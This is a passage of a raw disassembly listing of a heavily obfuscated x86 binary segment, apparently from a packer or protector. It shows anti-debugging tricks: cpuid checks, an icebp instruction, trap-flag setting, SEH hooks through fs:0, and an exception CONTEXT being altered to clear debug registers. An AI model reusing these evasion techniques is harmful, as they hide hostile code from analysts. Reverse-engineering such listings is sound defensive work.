_0182ofla:0042411Dj jnz loc_42C81D jmp loc_4242A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4271D2 loc_429C31: ; CODE XREF: sub_4271D2+353Fj ; sub_4271D2:loc_42B696j call sub_428D17 mov edx, 0F75CA70h call sub_42D71D push ebp mov ebp, eax jmp loc_42C695 ; END OF FUNCTION CHUNK FOR sub_4271D2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_429C49: ; CODE XREF: sub_42D056:loc_42D425j pop ebp mov eax, ds:dword_424C18 or eax, eax jnz loc_424F26 jmp loc_42ECC5 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- jge loc_427453 jmp loc_428C77 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429C68 proc near ; CODE XREF: sub_428FD6j ; FUNCTION CHUNK AT 00427EF4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A2CA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E463 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E70E SIZE 00000013 BYTES push ebp mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_42A2CA sub_429C68 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4249FA loc_429C74: ; CODE XREF: sub_4249FA:loc_4235B8j pushf mov [esp+0], eax push edi push 430B203h pop edi sub edi, 6C734E7Bh rol edi, 7 add edi, 2190D18Ah jmp loc_425F81 ; END OF FUNCTION CHUNK FOR sub_4249FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253DC loc_429C93: ; CODE XREF: sub_4253DC:loc_42A03Cj jz loc_429480 jmp loc_423BCC ; END OF FUNCTION CHUNK FOR sub_4253DC ; --------------------------------------------------------------------------- add eax, 0C5DDBA37h cmp edx, 7B9A58E2h jmp loc_42B54D ; --------------------------------------------------------------------------- loc_429CAF: ; CODE XREF: _0182ofla:loc_425467j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax add ecx, 4 jmp loc_426161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_429CCC: ; CODE XREF: sub_428F20-3492j add eax, 0CC328E41h add eax, ebp add eax, 0D590283h call sub_429038 loc_429CDF: ; CODE XREF: sub_428A39+2C7Dj jmp loc_426415 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FE2 loc_429CE4: ; CODE XREF: sub_423FE2:loc_42DE16j jnz loc_4289ED jmp loc_423FD8 ; END OF FUNCTION CHUNK FOR sub_423FE2 ; --------------------------------------------------------------------------- sbb ebx, esi jmp loc_4269F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC9 loc_429CF6: ; CODE XREF: sub_428AC9:loc_42A45Bj cmp dword ptr [ebp-8], 0 jz loc_424680 jmp loc_42EB23 ; END OF FUNCTION CHUNK FOR sub_428AC9 ; --------------------------------------------------------------------------- locret_429D05: ; CODE XREF: _0182ofla:004245C5j retn ; --------------------------------------------------------------------------- loc_429D06: ; CODE XREF: _0182ofla:0042E7BFj jmp loc_423333 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_429D0B: ; CODE XREF: sub_42798F+2132j jnz loc_424A08 jmp loc_42D90E ; END OF FUNCTION CHUNK FOR sub_42798F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ACCF loc_429D17: ; CODE XREF: sub_42ACCF+Ej jmp locret_42906B ; END OF FUNCTION CHUNK FOR sub_42ACCF ; =============== S U B R O U T I N E ======================================= sub_429D1C proc near ; CODE XREF: sub_428265:loc_42323Ap ; sub_42DFBB+13j mov [esp+0], esi pop esi mov [ebp-5], al sub_429D1C endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42798F loc_429D23: ; CODE XREF: sub_42C415-72FAj ; sub_42537E+8j ... js loc_42DAD3 cmp byte ptr [ebp-5], 0 jnz loc_426069 jmp loc_42B8CF ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- sbb edx, ebx jmp loc_42C995 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_213. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428041 loc_429D40: ; CODE XREF: sub_428041-26CCj jmp loc_42DC71 ; END OF FUNCTION CHUNK FOR sub_428041 ; --------------------------------------------------------------------------- loc_429D45: ; CODE XREF: _0182ofla:00425480j jmp locret_4240CB ; --------------------------------------------------------------------------- mov edx, 0BB931B55h call sub_42D71D xchg eax, ebp push ebp xchg eax, ebp ror eax, 14h jmp loc_42E478 ; --------------------------------------------------------------------------- loc_429D61: ; DATA XREF: _0182ofla:loc_42A56Ao add eax, [esp] adc edx, [esp+4] js loc_42B81C add esp, 8 mov eax, [eax] add eax, [ebp-4] call sub_4289E4 cmp eax, [ebp-8] jmp loc_428171 ; =============== S U B R O U T I N E ======================================= sub_429D83 proc near ; CODE XREF: _0182ofla:0042C9BAj ; sub_42DFBB+8p ; FUNCTION CHUNK AT 00426A33 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042A9ED SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx push ecx jnz loc_426A33 push offset loc_42523C jmp loc_42A9ED sub_429D83 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_429D98: ; CODE XREF: sub_42798F:loc_42A1F9j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h mov al, [ecx] jmp loc_42DA48 ; END OF FUNCTION CHUNK FOR sub_42798F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_429DB6: ; CODE XREF: _0182ofla:loc_424C12j xchg ecx, [esp] jmp sub_427239 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C718 loc_429DBE: ; CODE XREF: sub_42C718+Cj pushf jmp loc_4290E6 ; END OF FUNCTION CHUNK FOR sub_42C718 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B43 loc_429DC4: ; CODE XREF: sub_423B43+97C1j jz loc_425F7E jmp loc_42B228 ; END OF FUNCTION CHUNK FOR sub_423B43 ; =============== S U B R O U T I N E ======================================= sub_429DCF proc near ; CODE XREF: sub_427445+B8Bp ; _0182ofla:0042E25Dj xchg ebx, [esp+0] pop ebx add eax, 0F4199E59h call sub_42380D loc_429DDE: ; CODE XREF: sub_428D63+116Bj jmp loc_42D629 sub_429DCF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C379 loc_429DE3: ; CODE XREF: sub_42C379:loc_42D234j call sub_429F6C loc_429DE8: ; CODE XREF: sub_42EB7D+Fj jmp loc_42E22F ; END OF FUNCTION CHUNK FOR sub_42C379 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_429DED: ; CODE XREF: sub_42798F:loc_424BFCj movzx edx, byte ptr [ecx+edx] and eax, edx jz loc_42620C jmp loc_425663 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_429DFE: ; CODE XREF: _0182ofla:00425FB6j add eax, [ebp-4] xor edx, edx push edx jmp loc_4286CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231D5 loc_429E09: ; CODE XREF: sub_4231D5+Aj call sub_4240FC loc_429E0E: ; CODE XREF: sub_42D8EA:loc_42C5BBj call sub_428D17 mov edx, 0A2CD59D9h call sub_42B097 push offset sub_42745F jmp nullsub_84 ; END OF FUNCTION CHUNK FOR sub_4231D5 ; --------------------------------------------------------------------------- db 3 dd 51FD81D0h, 0E955ACD0h, 0FFFFB084h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_429E34: ; CODE XREF: sub_4253F4+5C3j xor edx, edx cpuid and eax, 0FFFh add [esi], eax and edx, 0FFFFFDFFh xor [esi], edx jmp loc_425291 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- loc_429E4C: ; CODE XREF: _0182ofla:loc_42DA71j push eax jmp loc_425A47 ; =============== S U B R O U T I N E ======================================= sub_429E52 proc near ; CODE XREF: _0182ofla:0042D685j ; sub_42D875+Ap ; FUNCTION CHUNK AT 004237FE SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00423B99 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424169 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042468A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042483C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424D77 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00424E11 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0042546C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425520 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00425939 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042613E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00426966 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 004281EB SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00428634 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00429568 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00429F79 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042A956 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042AB13 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042AB75 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B0D3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042C109 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx cmp dword ptr [eax], 47424454h jz loc_42595F jmp loc_423B99 sub_429E52 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_429E67: ; CODE XREF: sub_4298DD-46FDj push ecx test edi, 6CA72CCBh jmp loc_427315 ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A092 loc_429E73: ; CODE XREF: sub_42A092+10j jz loc_42A786 jmp loc_42D29A ; END OF FUNCTION CHUNK FOR sub_42A092 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_429E7E: ; CODE XREF: sub_42D056:loc_429319j jg loc_424379 xor edi, ebx mov ebp, ecx and ecx, ebp jmp loc_4263AD ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B3C2 loc_429E8F: ; CODE XREF: sub_42B3C2:loc_426AF0j lock icebp jmp loc_42DF3C ; END OF FUNCTION CHUNK FOR sub_42B3C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6D5 loc_429E96: ; CODE XREF: sub_42A6D5:loc_4278EAj xchg eax, [esp+8+var_8] or eax, 100h xchg eax, [esp+8+var_8] popf nop jmp loc_4243FD ; END OF FUNCTION CHUNK FOR sub_42A6D5 ; =============== S U B R O U T I N E ======================================= sub_429EA9 proc near ; CODE XREF: sub_429F53:loc_4263D5j add esp, 0FFFFF7ECh push offset sub_42D52E jmp nullsub_202 sub_429EA9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429203 loc_429EB9: ; CODE XREF: sub_429203-3C6Ej xchg edi, [esp+0] jmp loc_42E5CE ; END OF FUNCTION CHUNK FOR sub_429203 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_429EC1: ; CODE XREF: _0182ofla:00423766j ; sub_428D63:loc_42841Dj add edi, 0E5032DA3h and ebx, edi pop edi add [esi], ebx xor [esi], edx jmp loc_429DDE ; END OF FUNCTION CHUNK FOR sub_428D63 ; =============== S U B R O U T I N E ======================================= sub_429ED3 proc near ; CODE XREF: sub_429AA3-51E9p ; sub_42EAFE:loc_42C6D6j ; FUNCTION CHUNK AT 0042A19B SIZE 0000000A BYTES push 44EAA2C8h jmp loc_42A19B sub_429ED3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5F8 loc_429EDD: ; CODE XREF: sub_42E5F8:loc_42D477j pop edi add edi, 722B7645h add edi, ebp add edi, 0A7D6C6B3h mov [edi], eax pop edi mov eax, [ebp-4] jmp loc_425F1A ; END OF FUNCTION CHUNK FOR sub_42E5F8 ; =============== S U B R O U T I N E ======================================= sub_429EF7 proc near ; DATA XREF: sub_4238A3+9o push eax ror eax, 19h push ebx push 2620FE29h pop ebx call sub_426295 sub_429EF7 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_428FED loc_429F07: ; CODE XREF: sub_428FED+Aj jmp loc_425AF6 ; END OF FUNCTION CHUNK FOR sub_428FED ; --------------------------------------------------------------------------- loc_429F0C: ; CODE XREF: _0182ofla:00427181j jmp sub_428D09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF8 loc_429F11: ; CODE XREF: sub_425BF8:loc_427EF9j jnz sub_42DB2E jmp loc_424816 ; END OF FUNCTION CHUNK FOR sub_425BF8 ; --------------------------------------------------------------------------- loc_429F1C: ; CODE XREF: _0182ofla:loc_42A4BBj jnz loc_423436 jmp loc_42C2E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424707 loc_429F27: ; CODE XREF: sub_424707+6j add ebx, 0DD8D4C0Ch add edx, eax ror edx, 17h adc eax, 87952B2Ah jmp loc_426F03 ; END OF FUNCTION CHUNK FOR sub_424707 ; --------------------------------------------------------------------------- and ecx, 589D8616h jmp sub_42E79C ; --------------------------------------------------------------------------- loc_429F48: ; CODE XREF: _0182ofla:0042A66Bj ; _0182ofla:loc_42A840j call sub_429F53 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F50 loc_429F4E: ; CODE XREF: sub_423F50+509j jmp loc_42654E ; END OF FUNCTION CHUNK FOR sub_423F50 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429F53 proc near ; CODE XREF: _0182ofla:loc_429F48p ; FUNCTION CHUNK AT 004263D5 SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_4263D5 sub_429F53 endp ; --------------------------------------------------------------------------- test edx, 0BF81D480h jmp loc_429032 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E2EE loc_429F66: ; CODE XREF: sub_42E2EE+Cj jb loc_428D28 ; END OF FUNCTION CHUNK FOR sub_42E2EE ; =============== S U B R O U T I N E ======================================= sub_429F6C proc near ; CODE XREF: sub_42C379:loc_429DE3p ; FUNCTION CHUNK AT 0042ACA3 SIZE 00000021 BYTES mov [esp+0], edx pop edx ror eax, 7 loc_429F73: ; CODE XREF: sub_42D897-8449j push edx jmp loc_42ACA3 sub_429F6C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_429F79: ; CODE XREF: sub_429E52:loc_424169j jb loc_4237FE push edx mov ecx, edi jmp loc_425520 ; END OF FUNCTION CHUNK FOR sub_429E52 ; --------------------------------------------------------------------------- loc_429F87: ; CODE XREF: _0182ofla:0042DAC2j add [ecx], al add ecx, 4 mov dword ptr [ecx], offset loc_42C45C xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_429F99: ; CODE XREF: sub_42B15E+254Cj jmp loc_42AEB1 ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425063 loc_429F9E: ; CODE XREF: sub_425063+3F53j jmp loc_42AC84 ; END OF FUNCTION CHUNK FOR sub_425063 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231D5 loc_429FA3: ; CODE XREF: sub_4231D5+19j jmp loc_425136 ; END OF FUNCTION CHUNK FOR sub_4231D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A915 loc_429FA8: ; CODE XREF: sub_42A915-2C15j not edx shl ebp, 9 or ebx, eax jmp loc_42CC1F ; END OF FUNCTION CHUNK FOR sub_42A915 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4289E4 loc_429FB4: ; CODE XREF: sub_4289E4:loc_42A877j call sub_42C2F0 loc_429FB9: ; CODE XREF: sub_42CC59+11j jmp loc_423A7E ; END OF FUNCTION CHUNK FOR sub_4289E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F46 loc_429FBE: ; CODE XREF: sub_428F46+4j jmp loc_4250E4 ; END OF FUNCTION CHUNK FOR sub_428F46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427445 loc_429FC3: ; CODE XREF: sub_427445-3684j jmp loc_42D760 ; END OF FUNCTION CHUNK FOR sub_427445 ; =============== S U B R O U T I N E ======================================= sub_429FC8 proc near ; DATA XREF: sub_425471o ; FUNCTION CHUNK AT 004284BC SIZE 00000005 BYTES xchg eax, [esp+0] mov eax, [esp+0] push edx push 7B6D2E4Bh pop edx jmp loc_4284BC sub_429FC8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426649 loc_429FDA: ; CODE XREF: sub_426649+Ej pop edx add edx, 853438B3h add eax, edx pop edx call sub_428D63 loc_429FE9: ; CODE XREF: _0182ofla:loc_429B24j add ecx, 4 mov dword ptr [ecx], offset loc_4239EF xor eax, eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_426649 ; =============== S U B R O U T I N E ======================================= sub_429FF9 proc near ; CODE XREF: _0182ofla:0042B787p push dword ptr fs:0 mov fs:0, esp jmp loc_428B79 sub_429FF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A00A proc near ; CODE XREF: sub_4242AC+A569j push ebp mov ebp, esp push ecx mov esp, ebp pop ebp mov eax, ds:dword_42D240 or eax, eax jmp loc_4238E5 sub_42A00A endp ; =============== S U B R O U T I N E ======================================= sub_42A01E proc near ; DATA XREF: sub_42EB4E+8o pop ecx push offset sub_42EC60 jmp loc_42D65D sub_42A01E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425AB1 loc_42A029: ; CODE XREF: sub_425AB1:loc_427430j mov byte ptr [eax], 6Ch inc dword ptr [ebp-20h] mov eax, [ebp-20h] loc_42A032: ; CODE XREF: _0182ofla:00425F28j call sub_423F50 loc_42A037: ; CODE XREF: sub_42913D:loc_42915Fj jmp loc_42A072 ; END OF FUNCTION CHUNK FOR sub_425AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253DC loc_42A03C: ; CODE XREF: sub_4253DC-172Fj jmp loc_429C93 ; END OF FUNCTION CHUNK FOR sub_4253DC ; =============== S U B R O U T I N E ======================================= sub_42A041 proc near ; CODE XREF: _0182ofla:0042E45Ej ; _0182ofla:0042ED10p xchg ebx, [esp+0] sub_42A041 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42E689 loc_42A044: ; CODE XREF: sub_42E689-2FC8j pop ebx call sub_42D71D call sub_428D17 call sub_4291BA jmp loc_42EBB7 ; END OF FUNCTION CHUNK FOR sub_42E689 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42A059: ; CODE XREF: sub_42798F+4873j mov edx, [ebp-1Ch] shr edx, 3 mov ecx, ds:dword_423190 push offset sub_42DD2A jmp nullsub_192 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423861 loc_42A06F: ; CODE XREF: sub_423861:loc_426BA9j mov eax, [ebp+var_4] loc_42A072: ; CODE XREF: sub_425AB1:loc_42A037j cmp byte ptr [eax], 0EBh jz loc_42A2ED mov eax, [ebp+var_4] mov al, [eax] and al, 0F6h jmp loc_424666 ; END OF FUNCTION CHUNK FOR sub_423861 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42A088: ; CODE XREF: _0182ofla:0042EAE5j jmp loc_42DCE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B5CC loc_42A08D: ; CODE XREF: sub_42B5CC+19j jmp loc_42E3E2 ; END OF FUNCTION CHUNK FOR sub_42B5CC ; =============== S U B R O U T I N E ======================================= sub_42A092 proc near ; DATA XREF: sub_427CD0+3212o ; FUNCTION CHUNK AT 00424DD8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429E73 SIZE 0000000B BYTES add eax, 0F638D6A9h mov eax, [eax] or eax, eax jnz loc_424DD8 jmp loc_429E73 sub_42A092 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42A0A7: ; CODE XREF: sub_423FCD+A781j jz loc_42DC90 jmp loc_42B485 ; END OF FUNCTION CHUNK FOR sub_423FCD ; =============== S U B R O U T I N E ======================================= sub_42A0B2 proc near ; CODE XREF: _0182ofla:0042CE97j ; sub_42DF61+5p ; FUNCTION CHUNK AT 0042AD56 SIZE 0000000C BYTES xchg ebx, [esp+0] pop ebx mov ebp, esp push 164A9B43h mov [esp+0], ecx push 0FFFFFFF1h jmp loc_42AD56 sub_42A0B2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, [ebp+0] jmp sub_425C9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42A0CF: ; CODE XREF: sub_4256D3+3j ; sub_428D63-1FBj ... js loc_42A633 cmp dword ptr [ebp-4], 2 jnz loc_42ABE9 jmp loc_42DD25 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429AC6 loc_42A0E4: ; CODE XREF: sub_429AC6+15j pop ecx push eax call sub_426561 mov ds:dword_42D214, eax ; END OF FUNCTION CHUNK FOR sub_429AC6 ; START OF FUNCTION CHUNK FOR sub_425C55 loc_42A0F0: ; CODE XREF: sub_425C55+Ej lea eax, [ebp-14h] xor edx, edx call sub_42B14D ; END OF FUNCTION CHUNK FOR sub_425C55 ; START OF FUNCTION CHUNK FOR sub_425B6E loc_42A0FA: ; CODE XREF: sub_425B6E+Dj ; sub_42AAF8+10j mov eax, ds:dword_42D214 jmp loc_4232BA ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- loc_42A104: ; CODE XREF: _0182ofla:004271EAj call sub_428FD6 call sub_4271D2 xor eax, eax retn ; --------------------------------------------------------------------------- loc_42A111: ; CODE XREF: _0182ofla:00429125j jmp loc_429A30 ; --------------------------------------------------------------------------- loc_42A116: ; DATA XREF: sub_42660C:loc_42737Do call sub_42DF61 ; START OF FUNCTION CHUNK FOR sub_4271D2 loc_42A11B: ; CODE XREF: sub_4271D2+44CAj jmp loc_42A701 ; END OF FUNCTION CHUNK FOR sub_4271D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_42A120: ; CODE XREF: sub_4282B8-183Ej jmp loc_429926 ; END OF FUNCTION CHUNK FOR sub_4282B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BEC loc_42A125: ; CODE XREF: sub_429BEC:loc_4275F1j push 85C86502h pop ebx add ebx, 818DA6C4h and ebx, 0F6E4F29h xor ebx, 0CA9C69C7h add ebx, ecx add ebx, 32259DF1h mov [ebx], eax jmp loc_429816 ; END OF FUNCTION CHUNK FOR sub_429BEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_42A14C: ; CODE XREF: sub_428F20:loc_42B636j xchg ebx, [esp-4+arg_0] mov ebp, esp add esp, 0FFFFFFECh cmp ds:dword_4257A4, 0 jnz loc_424009 jmp loc_42A4B0 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- cmp edi, esi jmp loc_426AF5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A760 loc_42A16E: ; CODE XREF: sub_42A760+177j jmp loc_42C39A ; END OF FUNCTION CHUNK FOR sub_42A760 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA44 loc_42A173: ; CODE XREF: sub_42AA44+19j xchg ebx, [esp+0] jmp sub_42D71D ; END OF FUNCTION CHUNK FOR sub_42AA44 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42A17C: ; CODE XREF: sub_428D63-18E4j jmp loc_4257DA ; END OF FUNCTION CHUNK FOR sub_428D63 ; =============== S U B R O U T I N E ======================================= sub_42A181 proc near ; CODE XREF: sub_42E2EEp ; FUNCTION CHUNK AT 0042484C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425A06 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427730 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429930 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042A61B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042DCFB SIZE 00000005 BYTES push large dword ptr fs:0 mov large fs:0, esp mov eax, large fs:20h jmp loc_425A06 sub_42A181 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429ED3 loc_42A19B: ; CODE XREF: sub_429ED3+5j pop eax rol eax, 1 add eax, 4588B5AFh retn ; END OF FUNCTION CHUNK FOR sub_429ED3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E90 loc_42A1A6: ; CODE XREF: sub_427E90+14j jmp loc_427F9F ; END OF FUNCTION CHUNK FOR sub_427E90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4276BF loc_42A1AB: ; CODE XREF: sub_4276BF+1Fj jmp loc_424C24 ; END OF FUNCTION CHUNK FOR sub_4276BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_42A1B0: ; CODE XREF: sub_425DA5+183Fj call sub_423FCD jmp loc_426B0A ; END OF FUNCTION CHUNK FOR sub_425DA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CA29 loc_42A1BA: ; CODE XREF: sub_42CA29:loc_427DCCj jmp sub_42D730 ; END OF FUNCTION CHUNK FOR sub_42CA29 ; --------------------------------------------------------------------------- call sub_4230C4 ; START OF FUNCTION CHUNK FOR sub_42CE60 loc_42A1C4: ; CODE XREF: sub_42CE60+7j jmp loc_42934D ; END OF FUNCTION CHUNK FOR sub_42CE60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_42A1C9: ; CODE XREF: sub_4282B8+48EDj jmp nullsub_210 ; END OF FUNCTION CHUNK FOR sub_4282B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C89 loc_42A1CE: ; CODE XREF: sub_425C89:loc_42AEF7j jz loc_423C40 jmp loc_428681 ; END OF FUNCTION CHUNK FOR sub_425C89 ; =============== S U B R O U T I N E ======================================= sub_42A1D9 proc near ; CODE XREF: _0182ofla:0042438Fj ; _0182ofla:0042A288p ; FUNCTION CHUNK AT 0042C1AD SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx jnz loc_423CED mov eax, [ebp-4] mov [ebp-8], eax jmp loc_42C1AD sub_42A1D9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42A1EE: ; CODE XREF: _0182ofla:0042A275j add esp, 0FFFFFFF4h mov [ebp-8], edx call sub_425DA5 ; START OF FUNCTION CHUNK FOR sub_42798F loc_42A1F9: ; CODE XREF: sub_42798F+2C33j jmp loc_429D98 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42430D loc_42A1FE: ; CODE XREF: sub_42430D+19j jge loc_42A555 ; END OF FUNCTION CHUNK FOR sub_42430D ; START OF FUNCTION CHUNK FOR sub_429203 loc_42A204: ; CODE XREF: sub_429203+Aj jmp loc_42CDAE ; END OF FUNCTION CHUNK FOR sub_429203 ; --------------------------------------------------------------------------- loc_42A209: ; CODE XREF: _0182ofla:0042354Fj jmp loc_4247B5 ; --------------------------------------------------------------------------- sub esi, 8A5A49A3h jmp loc_42A552 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F46 loc_42A219: ; CODE XREF: sub_428F46:loc_423D28j add eax, 890675A1h mov eax, [eax] or eax, eax jnz loc_425731 jmp loc_425998 ; END OF FUNCTION CHUNK FOR sub_428F46 ; --------------------------------------------------------------------------- ; START OF 